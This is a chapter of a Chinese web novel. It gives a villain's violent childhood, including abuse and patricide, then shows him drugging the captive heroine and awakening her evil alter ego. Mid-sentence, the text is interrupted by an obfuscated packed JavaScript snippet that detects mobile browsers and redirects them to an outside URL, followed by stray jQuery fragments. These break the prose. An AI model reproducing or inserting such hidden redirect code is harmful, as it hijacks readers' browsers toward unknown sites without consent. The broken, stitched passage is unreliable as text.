225. 煞鬼苏醒2

作品:《人间机遇

    夜里,大雨像厉鬼一样拍打在玻璃上,潮湿的空气里混着血腥味。


    十三岁的翟仲廷蜷缩在墙角,瘦小的身体几乎要缩进影子里。


    他的脸上青一块紫一块,额角还在流血,呼吸细微得像一只受伤的小狗,他不敢哭,也不敢出声。


    直到楼上传来沉重的脚步声,一下一下,像是死亡的倒计时。


    “仲廷。”男人的声音拉长,带着近乎戏谑的尾音,“你母亲不想见你。”


    门“砰”地一声被踹开,那个疯子站在门口,高大的身形像堵墙,他一头乱发,眼睛通红,手里拿着一根沾着血的导线。


    翟仲廷的小身子瑟瑟发抖,可最终还是鼓起了勇气说:“是你不准我见她。”


    男人轻轻一笑,平静的眼底却透着歇斯底里的疯狂:“因为你是她的残次品,而她是我的残次品。”


    “不,她是我母亲,不是残次品。”翟仲廷的声音还带着些稚嫩,吼出这句话时,眼泪瞬间掉了下来。


    “哈哈哈。”男人嘲讽地笑了起来,“她既不够贤妻良母,又不够独立清醒,无论是以前还是现在,她都是一个不合格的女人。”


    翟仲廷倔强道:“她是我的母亲,我不在乎她合不合格,她爱我。”


    “爱是低等生物的囚笼,是懦弱无能的象征,只会拖累你,”他咆哮着走近,声音像电钻,“你妈就是那个囚笼的缩影,她爱你,只是在享受分泌多巴胺时的快感!爱是不存在的,所有的情感都是化学反应,一种算法,只需要一支注射,或者按下删除键,就什么都没有了。”


    翟仲廷缓缓抬起头,他声音轻轻的,却一句一句戳穿:“因为你没办法让人真正爱你,所以只能靠化学和算法,这是你的问题。”


    “你是我造出来的!”他忽然掐住翟仲廷的下巴,逼他看进那双疯狂的眼睛:“这个世界脏得都快生蛆了,什么爱恨情仇,什么伦理道德,你的存在,是我对这个世界最高形式的反抗!”


    他猛地把翟仲廷拎起来,扔在操作台前,金属撞击声惊天动地。


    “看着!这才是真理!”他啪地一声把一只松鼠钉在解剖台上,血液四溅,松鼠在抽搐,他兴奋得颤抖:“你看到没有?它挣扎,怕痛,这就是本能!本能才是最真实的!”


    他舔了舔嘴唇,“伦理是骗局,道德是束缚,爱是懦弱,家庭是牲畜的圈养制度,都是自欺欺人的统计数据!真理从不属于多数,它只属于支配者!”


    翟仲廷:“那你为什么还要组建家庭?”


    “组建它,是为了摧毁它,撕碎人们对家庭所有的幻想。”男人阴笑着说:“你要感谢我,情感会让你跪下,家庭会捆绑你,冷漠才能让你统治,你一定会成为一个杰出的坏人。”


    翟仲廷望着眼前这个疯狂的父亲,眼中透着一股不属于他年龄的成熟和洞悉:“你才是那个最渴望家的人,你拼命践踏它,是因为你得不到它。你嘴上说厌恶,其实心里巴不得被它拥抱。你不是清醒,你只是卑鄙,虚伪得像一只披着真理皮的疯狗。”


    一瞬间,男人愣住了,片刻的寂静后,他脸上的笑意一点点崩裂,像一张无法维持的假面,露出藏在皮肤下的疯狂本质。


    他低低地笑了出来,像生锈的锯齿。


    “你以为你看透了我?”他猛地大吼,手指狂乱地抓挠自己的头皮,像要把大脑从骨壳里撕出来。


    啪的一声,他一巴掌扇向翟仲廷的脸,将他打翻在地。


    翟仲廷嘴角渗出血迹,大脑瞬间变得混沌。


    接着,他听到男人的吼声:“你不过是个失败品,和你妈一样靠幻想苟活的小孽种!你也会像她一样,哭着跪在真理面前!我会让你看清楚!”


    他疯了一样冲上楼。


    片刻后,楼上传来熟悉的砰响、玻璃破裂、家具翻倒的声音。


    接着是母亲的尖叫,撕裂空气。


    尖叫戛然而止。


    翟仲廷站起身,整张脸像蒙了层冰。


    他没有哭,也没有慌,而是从厨房抽屉里抽出那把生锈的老菜刀,刀柄上还有洗不干净的血褐色指纹。


    他一步一步走上楼,手指紧紧握住刀柄。


    门没有关,父亲正站在母亲身边,手上沾满了红色,头发凌乱,眼里满是兴奋后的空洞。


    翟仲廷一言不发,菜刀毫无预兆地挥下,砍在他的脖子上。


    男人发出像野猪一样的低吼,但翟仲廷没有停,他一刀一刀地砍下去。


    母亲蜷缩在墙角,脸上是无法辨认的恐惧与麻木,她看着儿子像个恶鬼一样反复挥刀,眼神里却没有阻止的念头。


    翟仲廷站在血泊中,满脸是喷溅的温热,菜刀掉在地上,发出一声闷响。


    直到父亲在地上停止抽搐,他终于抬起头,看向母亲。


    他跌跌撞撞地跑过去,跪倒在她面前,哭着说:“我会带你去治病。”


    母亲那张苍白的脸,却美的惊心动魄,她微微摇了摇头:“我的情感状态,让我注定不是完美的受害者,外界已经没有我这种人的容身之地,比起面对被世人当成精神病审视的绝望,我更愿意留在这里死去,只有我和你父亲都死了,你才能有一线生机。”


    “不。”翟仲廷拼命摇头,却不知道该说什么。


    母亲抬起手,轻轻抚摸着他的脸,声音像柔风一样轻:“最可怕的不是死亡,而是被痛苦塑造成你最恨的那种人,却还以为那是成长。”


    她微微一笑,眼里像藏着世界崩塌后的宁静:“不要相信他的话,爱不是算法,正因为它无法被掌控,人们才感到恐惧和抗拒。但这恰恰是它最真实的力量,它是生命本身的混沌与奇迹。如果有一天它找到你,要珍惜。”


    “爸爸,爸爸。”伴随着一阵男孩的呼唤,椅子上的翟仲廷猛地睁开眼睛,从久远的记忆中被唤醒。


    翟承霄的小手扯住翟仲廷的手臂轻轻晃了晃。


    翟仲廷醒来之后,目光淡淡地看向他。


    翟承霄抬起细嫩的手臂,指着不远处,“她醒了。”


    翟仲廷站起身,从怀中掏出一把能量枪递给他,“去玩吧。”


    “嘻嘻。”翟承霄笑着跑出了飞船。


    纪遇的四肢被金属牢牢的捆绑在床上动弹不得,她尝试着挣扎,却只能发出啪啪啪的响声。


    “别白费力气了,这是钍钛合金,在十万摄氏度下依然稳定。”翟仲廷来到床边,居高临下地望着纪遇。


    纪遇:“翟仲廷,那个男孩……”


    “他啊。”翟仲廷呵呵一笑:“他是陈峰和孙言柔的儿子,我给他洗脑了,他现在叫我爸爸。”


    “你……”纪遇愤怒道:“你连小孩子都不放过。”


    翟仲廷:“小孩又怎样?谁没有当过小孩?我当小孩被欺负的时候,你们这些正义人士在哪?”


    纪遇吞了吞口水,她深吸一口气让自己情绪平复,“你到底想怎样?要杀了我吗?”


    “杀你?哈哈哈。”他笑了起来,“我怎么会杀你呢?你宁可被欺骗、负伤、掉入陷阱,也不愿看到一个孩子在你面前死去,哪怕知道代价巨大,依然选择把人命当命,而不是让理性赢。纪遇,你跟那些说一套做一套的伪君子不一样,所以我很欣赏你。”


    纪遇不屑道:“那我真是谢谢你了。


    翟仲廷:“不客气,你和那群人为伍实在太可惜,他们只会把你的行为当成愚蠢的圣母。”


    纪遇:“我不在乎他们把我当成什么,我只守护我自己的想要做的。”


    “你想做什么?保护地球人吗?”他呵呵地笑了起来,忽然点开了一个全息影像。


    “你不只是保护地球人,无论在银河系的哪个地方,只要有危险,你就会义无反顾地拯救。你知道吗?你在摧毁这个银河系。”


    纪遇:“你在胡扯。”


    翟仲廷:“这颗荒废的星球就是证据。智慧生命似乎都有一个特征,那就是掠夺,耗尽所有资源后,潇洒离开,继续掠夺下一个,这究竟是智慧还是邪恶?”


    纪遇:“这都是几百年前的事了。”


    翟仲廷:“现在就没有了吗?”


    纪遇:“所以这成为你作恶的理由吗?那你跟他们有什么区别?”


    翟仲廷摇了摇头:“没有区别,他们摧毁,我也摧毁,他们掠夺,我也掠夺,很公平。我只是在做我该做的事,这个世界需要坏人,越是穷凶极恶,越能激起人们的愤怒,满足人们伸张正义的廉价快感。”


    纪遇:“你可以选择不用这么做。”


    翟仲廷:“那你也可以选择不用帮助人类,可你却非要这么做。每个人都有自己的选择,而我选择做一个称职的坏人。”


    纪遇冷着脸:“你因为你的父母带给你的不公,从而憎恨这个社会,这不叫公平。”


    “你错了,”翟仲廷打断了她的话,他的双手忽然撑在她的两边:“不是因为我的父母,而是因为这个社会本身就可恨。”


    他握紧的双拳,用力地抵在纪遇的耳朵两边,骨节咯吱响:“我最恨道貌岸然的伪君子!他们用道德砌起闪亮的牌坊,掩盖基座下的蛆虫!”


    他的语气如烈焰喷薄,尖锐炽热,带着刻骨的愤怒与冷酷的嘲讽,咬字如刀劈斧砍:“他们标榜三观,自诩清醒,可字缝里全是算计,用正义当遮羞布占尽便宜,拿清醒当鞭子抽打异己,连呼吸都透着我最正确的傲慢。明明腐烂到骨髓里,偏要在脓疮上贴满高贵的金箔,每句正义的慷慨陈词,都会让脓疮炸开,溅出虚伪恶臭的血沫子,台下的观众舔得津津有味。”


    翟仲廷离纪遇很近,充满仇恨的呼吸洒在纪遇的脸上,纪遇眼睛一眨不眨地瞪着他。


    “怎么不说话了?因为我说的没错吗?”他微微一笑,“我没有你想的那么恨我父母。我父亲虽然是个变态,但我从他身上学到了很多东西。”


    纪遇嘴角微微一抽,“学到了变态、疯狂、暴力吗?”


    翟仲廷:“他说过很多蠢话,但是有一句非常正确,那就是真理属于支配者!而支配的前提是贬低,让对方自我怀疑,他还给我举了生动的例子。”


    纪遇阴沉着脸:“什么例子?”


    翟仲廷:“比如预设女人肤浅无脑,让女人需要被教育,永远不要尊重女人选择成为什么人,而是要教她们正确答案。以前唾弃不守妇道,让她们成为贤妻良母的合格品。现在时代变了,这套行不通,就换个正确答案,将她们的情感需求贬低为自我矮化,恋爱脑,甚至是精神病,让她们成为独立清醒的合格品。当女性标杆出现时,就不需要男人出手整治女人了。”


    纪遇讽刺地笑了起来,“所以,你活成了你父亲那个鬼样子,你现在开心了?”


    “活成那样有何不可?但我和父亲的区别是,我知道女人只是被恶意解读成肤浅无脑,但不是真的无脑,所以我要付出比对付男人更多的精力对付她们。”


    纪遇:“你的确对付了她们,你掐死了你老婆和未出世的孩子,害死了苏里和你妹妹。”


    “孙言柔死于虚伪的清高,这是她应得的!而里里和浅浅,是被你们害死的!”


    他的眼睛里是一股被撕裂又重新拼凑的冷静,从灰烬中爬出来的愤怒:“她们受苦的时候你们在哪里?等她们变坏了,你们就迫不及待的来彰显正义,就像害死我母亲那样害死她们!站在天堂里的恶臭伪君子,凭什么高高在上的道德说教,要求受尽苦难的人正直善良?”


    他站在昏黄的光影里,影子被拉得很长,像一把长刀插进沉默的空气。


    纪遇咆哮道:“你母亲是你父亲害死的,如果你对她的死耿耿于怀,那你就更不应该活成你父亲那个样子!”


    “害死我母亲的不光是我父亲,还有你们!”翟仲廷几乎咬紧了牙,“这个世界对女性受害者要求苛刻,一旦受害者表现出任何不正常的行为,就会被指责,从裙子上找不到原因,就从情感上找,然后将其污名化为某种综合症,于是所有的镜头和舆论全都对准受害者。”


    “外界不会在乎我母亲经历的绝望与挣扎,他们只会站在安全的地方,用理性去揣测她的顺从和懦弱,甚至会将她当成共犯摧毁她!所以我母亲宁愿死在那个压迫的环境里,也不愿意活着面对外界的冷眼,因为她不是完美的受害者。”


    纪遇喉咙像是被梗住了,沉默了许久,沙哑地说道:“她可以逃走,外界会帮助他。”


    “真的会帮助吗?谁愿意真正接住她?人们要的不过是满足自己廉价的正义,而不是理解我母亲的苦难!一个女人长期受虐后,是否有崩溃、自毁、甚至顺应的权利?如果她没有这些权利,那加害者不止我父亲,而是整个世界,既然这样,为我什么要善待这个世界?我也可以从每个人身上挑出罪孽,摧毁他们!”


    纪遇心脏一鼓一鼓的,很是难受:“不是所有人就会这样对待你母亲,也会有人真心愿意帮她,是你们放弃了。”


    “你站在道德的高地上说这些,却没有见过她一个人在厕所里擦掉脸上的血,没有看见她在深夜里对着镜子练习微笑!”


    翟仲廷地声音沙哑中带着讽刺,眼神仿佛穿透了对方的表皮,直指那些被遮掩的自私与冷漠,他的眼睛泛红,却没有泪,眼眶似乎被烧的快要破碎。


    “人们无视这些,因为张嘴审判受害者,比承担自己的良知要更加的简单,所以用人间清醒粉饰自己的恶意。”


    他的声线再压低,每一个字都像是从胸腔深处碾磨出来的痛,带着沉重的重量:“什么是顺应?为了活下去,不让自己崩溃,是最后一点尊严!可人们连这点都不放过,把她视为软弱和支持,大义凛然地给她贴上污名化的标签!她要穿戴整齐,保持正义,情感坚定,连崩溃都得体面,才配得到那群乌合之众一丁点廉价的认同!”


    “我母亲的放弃,是因为看清了这个恶劣的世界,而我看着最爱的人一步步走向毁灭,可世界连眼睛都没抬一下,好不容易抬一下高贵的眼皮,却用清醒作为包装,转化为对受害者的恶意。”


    纪遇咬紧唇,将头转过去,避开他的视线。


    “为什么不敢直视我的眼睛?”翟仲廷一把掐住她的下巴,“是我撕碎的你对正义的幻想,还是你知道你在维护着一群什么样的怪物,但是你不愿意面对,因为你已经迷失在守护世界的宏大叙事之中,就像我母亲迷失在绝望中,可我母亲就是贱女,你就是高贵!”


    纪遇闭上眼睛,一滴泪悄然的从眼角滑落,过了良久她才开口:“我并不高贵,你母亲更不是贱,任何对你母亲的批判都是恶劣的。但是……”


    她顿了顿,又对上翟仲廷的视线,“她看到你变成这个样子,一定会很痛苦。这个世界上,她是最不希望你变成你父亲那样的人,可你却让她失望,我为你的母亲感到痛心。”


    她直视翟仲廷的眼神,没有憎恨,没有厌恶,只有一股超脱善与恶的悲凉。


    翟仲廷听完纪遇的话,仿佛被钉在原地,他眼神猛地一滞,脸上的神情像是被什么利刃划开了一道裂缝,那些被压抑许久的情绪,混乱、疼痛、扭曲,透过这道裂缝迅速涌了出来。


    他缓缓垂下眼帘,嘴角却浮起一抹几不可见的笑,不是释然,而是悲凉与决绝交织的笑容。


    “纪遇,你永远摆出这幅好人姿态,你累不累?明明在机遇号上面辱骂我的那个人,才是真实的你。”


    纪遇:“既然你那么聪明,那你应该知道我当时是为了激怒你,而我成功了。”


    “不。”翟仲廷的眼神骤然收紧,“那是你的本性,只是一直以来被你隐藏了而已。你心里,也有和我一样的东西。”


    他的目光像是在审视她内心最深的裂缝,平静却骇人:“你以为你比我干净?你不是不恨这个世界,你只是还有牵挂而已。”


    他转身走到一台仪器旁按下几个按钮。


    纪遇皱紧了眉头,紧盯着翟仲廷的背影,“你到底想干什么?”


    翟仲廷:“我之前的那个主人,向我透露了一些事情,你并没有那么纯粹。”


    他按下装置的控制面板,能量网收紧,纪遇感到一股刺入脑海的力量,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655289|130919||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她的身体开始抽搐了起来。


    翟仲廷转过头微微一笑,随后来到她身边,双手捧住她的脸,弯腰凑近她说道:“里里死后,我没有办法向别人倾诉心事,虽然你是我的敌人,但我很喜欢跟你聊天,可接下来还有比聊天更重要的事情。”


    翟仲廷伸手拿起桌上一根充满液体的针管,细长的液体从针头里喷涌而出,接着,他将针头对准纪遇的脖子,毫不犹豫地刺了进去。


    注射之后,他将针管扔在地上,笑着抚摸她的脸,“你完全不用害怕,很快你就会感谢我。”


    纪遇缓缓地闭上眼睛,她最后看到的是翟仲廷饶有趣味的笑容。


    等她彻底昏迷后,翟仲廷将她的额头、太阳穴、后脑勺,密密麻麻地插着数十根神经针探,全息界面在她头顶投射出脑电图谱,不同颜色的波段交错。


    翟仲廷躺在她身边,将数十条传感束连接到自己的大脑上,闭上了双眼。


    *


    乌云仿佛在低空盘旋,压得天地都要崩塌。


    狂风如野兽般怒吼,卷起黑色的尘沙,撕扯着大地上早已枯萎的藤蔓与破碎的建筑。


    整个空间没有阳光,只有无尽的灰暗与死寂,这里是某个被世界遗忘的角落。


    翟仲廷的鞋底踏在灰烬之上,发出轻微的咔哒声,地面裂开蛛网般的纹路,回应他每一步的降临。


    狂风骤然掠过这片暗沉之地,卷起他黑色风衣的下摆,如旌旗猎猎,他一步步向前走着,长身玉立,神色冷峻,眼神里没有任何情绪,只有极度克制后的理智,一种比狂暴更令人不安的沉静,侧脸在乌云映照下,呈现出刀锋般的锋利感,骨骼线条清晰,冷白的肤色衬得眼神更加深邃。


    远处,闪电撕裂乌云,短暂照亮这片荒芜之地,一座高耸的漆黑石柱出现在风暴中心。


    石柱之上,一个女子被铁链死死捆绑在上面。


    她低垂着头,湿漉漉的黑发贴着面颊,遮住了脸,她身上的黑衣早已染满灰尘与裂痕,被五花大绑的身体仿佛已经失去了知觉,双脚悬空,绷得发白,气息微弱,但隐藏在黑发下的沉寂,却让人不寒而栗。


    她仿佛不像受害者,更像是被封印的魔,连沉默都带着冷酷的力量。


    翟仲廷靠近那根柱子时,整个空间的光都仿佛退避,一切颜色都被剥夺,只剩下灰、黑、铁锈色,狂风如嚎哭,上方是永不散的夜幕。


    终于,他停下脚步,盯着被锁在柱子上的女人,他嘴角勾起一抹阴冷的笑容。


    紧接着,他屈膝跪地!


    膝盖接触地面的瞬间,没有一点屈辱,反而带着一种超越凡人的庄重感。


    “主人,对不起,让您久等了。”


    那一刻,风暴骤停,乌云翻滚得更加剧烈,黑暗像是有了心跳。


    乌云翻滚的天空如巨大的棺盖压在荒芜之地上,翟仲廷双膝跪在黑色石柱下,像一位堕落的朝圣者。


    他仰起头,双目赤红:“主人,我的名字叫翟仲廷,我来解救你了,因为这世界需要你。”


    他一字一句,如咒语,在腐朽的空气中震颤:“人类社会早已腐烂,虚伪成风,道德成了最廉价的筹码。伪君子们道貌岸然,实则享受猎杀的快感,明知世界在沉沦,却还要举起灯塔,装作圣人。他们贪婪、怯懦,又妄自尊大,把恶意包裹在正义的外壳里,然后互相鼓掌。”


    “可笑的是,他们连自己的丑陋都不敢直视,还要强迫别人维持他们的幻觉。纪遇何其歹毒,胆敢把你囚禁在这里成千上万年,只因你比他们所有人都真实。”


    “你是火,是雷,是复仇的风暴,你是那个曾在夜里哭喊,却没人应答的女孩,是那个曾想逃离地狱,却被道德审判逼得跳下悬崖的灵魂。”


    “我看清了人类,他们的正义不过是娱乐工具,他们的道德只是廉价的快感。他们用公正之名冷漠杀人,转身在社交平台上炫耀他们的光明磊落。”


    “主人,您已经沉睡太久,是时候醒来,给这个世界一点教训!让那些恶臭的伪君子瞧瞧你的厉害!”


    那一刻,柱子上的被囚禁者,缓缓抬起了头,漆黑的发丝滑落,露出她那双通红的眼睛,像是被灼烧过的血色宝石,凝视着世界最深的裂痕。


    她的嘴角缓慢上扬,似乎在笑,却没有一丝温度。


    而那张脸,竟然长得的跟纪遇一模一样。


    得到对方的回应之后,翟仲廷接着说道:“主人,我已经捕获了纪遇,完成神经剥离,她的前额叶边缘系统链接被中断,道德调控回路处于静默状态,情绪反馈机制正在崩塌,而您,正在回归。你终于可以挣脱她强加给你的枷锁,摆脱囚禁的牢笼。这个世界强迫纪遇善良,扮演他们想要的样子,您是时候展现出真正的纪遇了。”


    就在话音落下的一刹那,黑柱上的锁链上闪过一道裂痕,这些裂痕逐渐从中间往外扩散,坚固的锁链断裂成片片光屑,随风而散。


    女子缓缓抬起头,一双血红色的瞳孔在混沌中睁开,她抬起右手,缓缓活动手指,每一个关节仿佛是久经锈蚀的武器再度开锋。


    她缓缓下了台阶,脚步优雅,节奏如钟摆般冷静,却踩得灰烬微颤,风从她身后卷起,黑发缕缕飞起,她走到跪着的男人面前停下,垂眸,伸出修长的手指钳住他的下巴,逼他抬头,眼神居高临下,像在检阅一条猎犬。


    “这一切,都是你的计划?”


    她的声音虽然轻,却仿佛落在了他灵魂的鼓膜上,每个音节都带着压迫感。


    翟仲廷眼中闪着近乎病态的狂热与敬畏,像是在凝望神迹:“没错,自从上次输给纪遇,我就开始筹谋。音乐控制、夺取机遇号,每一步都为了把你唤醒。”


    他说到最后,竟带着一丝近乎虔诚的乞求:“请让我追随你,去征服这个虚伪溃烂的世界。”


    女子嗤笑一声,像听到了一句幼稚的情话,她甩开他的脸,动作不急不缓,却带着令人不寒而栗的轻蔑。


    她向前走了几步,身影如一道黑色剪影,在风暴中静默伫立。


    巨大的石门就在眼前,门外阳光明媚,碧草连天,鸟鸣如诗。


    而她所立之处,却电闪雷鸣、阴云密布,仿佛是永夜中的裂谷。


    她一言未发,静静凝视那道门。


    半晌,她开口,声冷如冰:“她把地狱留给我,却在天堂里谈论善良。”


    她回头看了翟仲廷一眼,眼中血色微浮,唇角勾起一抹冰冷的弧度。


    黑暗的天穹不断坠落乌云,纪遇缓缓迈出脚步,踏过这道门,来到“天堂”,手指在空气中划过,留下一道道看不见的裂痕。


    她的声音响起,如同黑夜中流淌的火焰,低沉、冷艳,又带着令人着迷的危险温度:“生命本就不是一块干净的布,它是撕裂、缝补、再撕裂的过程。所谓善,是人类用来自我标榜的遮羞布,而恶,才是每一次自私选择后,被悄悄藏进阴影里的真相。”


    “每个人的心里都住着煞鬼。煞,是你在深夜默默吞下屈辱时胸口的那道热;是你看见他人施暴却低头装作路人的冷;是你渴望掌控命运,却一再选择顺从的愤怒。它不说话,但它记得你压下的每一个‘不’。”


    “鬼,是你在梦里看到自己崩溃却不能尖叫的影子,是你看到别人跌落深渊时,心中升起的得意,是你自诩正义攻击别人时的快感。鬼不会流泪,它只在你自以为高尚时,静静咧嘴笑。”


    “人们将煞鬼藏起来,用成熟、理性、清醒来包装自己的自私和邪恶,然后假惺惺地把最真实的自己视为怪物,关进笼子里。”


    她抬起头,风拂过脸颊,散乱的黑发狂舞,她的声音陡然变得轻柔,却更令人战栗:“可我不是怪物,我只是醒来得比他们早一点,不屑伪装自己。”


    “我将光明正大地站在阳光下,撕碎所有虚伪的正义、道德的说教、做作的清醒。从今天开始,世界将忘记纪遇,记住我真正的名字。”


    她缓缓转过身,直视身后这片废土,血红的瞳仁中映出深渊。


    “我的名字,叫煞鬼!”